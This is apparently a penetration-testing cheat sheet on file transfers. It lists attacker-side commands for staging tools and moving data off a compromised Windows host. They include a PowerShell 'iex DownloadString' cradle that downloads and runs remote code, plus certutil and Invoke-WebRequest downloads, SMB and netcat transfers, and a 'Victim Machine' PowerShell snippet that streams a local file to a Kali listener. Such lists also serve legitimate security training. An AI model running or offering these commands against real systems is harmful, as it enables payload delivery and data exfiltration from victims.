File Transfers

PowerShell

iex (New-Object Net.WebClient).DownloadString('http://<IP>:<PORT>/file')
iwr <LHOST>/<FILE> -o <FILE>
iwr -uri http://<ip>/<file> -Outfile <file>
powershell.exe (New-Object System.Net.WebClient).DownloadFile("http://<ip>:<PORT>/example.txt", "C:\Windows\Temp\example.txt")
powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>

SCP

scp FiletoTransfer <user>@<ip>:<path>
scp <user>@<ip>:</path/to/file> .

NetCat

nc -lnvp <LPORT> > <FILE>
nc <RHOST> <RPORT> < <FILE>

CertUtil

certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>

SMB

sudo impacket-smbserver <SHARE> ./
sudo impacket-smbserver <SHARE> . -smb2support
copy * \\<LHOST>\<SHARE>

nc

Attacker Machine

nc -lvp 9000 > file.ext

Victim Machine

$type = [System.IO.File]::ReadAllBytes("C:\ruta\al\archivo.ext")
$client = New-Object System.Net.Sockets.TCPClient("<IP_Kali>",9000)
$stream = $client.GetStream()
$stream.Write($type, 0, $type.Length)
$stream.Close()
$client.Close()

Last updated